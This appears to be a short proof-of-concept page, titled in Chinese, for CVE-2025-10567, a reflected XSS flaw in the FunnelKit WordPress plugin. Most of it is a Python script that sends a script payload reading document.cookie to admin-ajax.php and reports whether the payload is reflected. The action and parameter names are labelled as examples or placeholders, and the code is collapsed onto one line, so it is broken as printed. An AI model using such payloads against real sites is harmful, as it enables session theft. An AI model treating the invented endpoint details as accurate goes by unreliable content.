CVE-2025-10567: FunnelKit WordPress插件反射型XSS漏洞

import requests # CVE-2025-10567 PoC - Reflected XSS in FunnelKit WordPress Plugin # Target: FunnelKit plugin < 3.12.0.1 target_url = "http://target-wordpress-site.com" # Malicious payload for reflected XSS xss_payload = "<script>alert(document.cookie)</script>" # FunnelKit AJAX endpoint - checkout related action ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request params = { "action": "funnelkit_checkout_action", # Example action name "param_name": xss_payload # Unsanitized parameter reflected in response } print(f"[*] Sending malicious request to {ajax_endpoint}") print(f"[*] Payload: {xss_payload}") try: response = requests.get(ajax_endpoint, params=params, timeout=10) # Check if payload is reflected in response if xss_payload in response.text: print("[+] VULNERABLE! XSS payload reflected in response") print("[+] Attack can be executed via social engineering") else: print("[-] Payload not reflected or patched") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")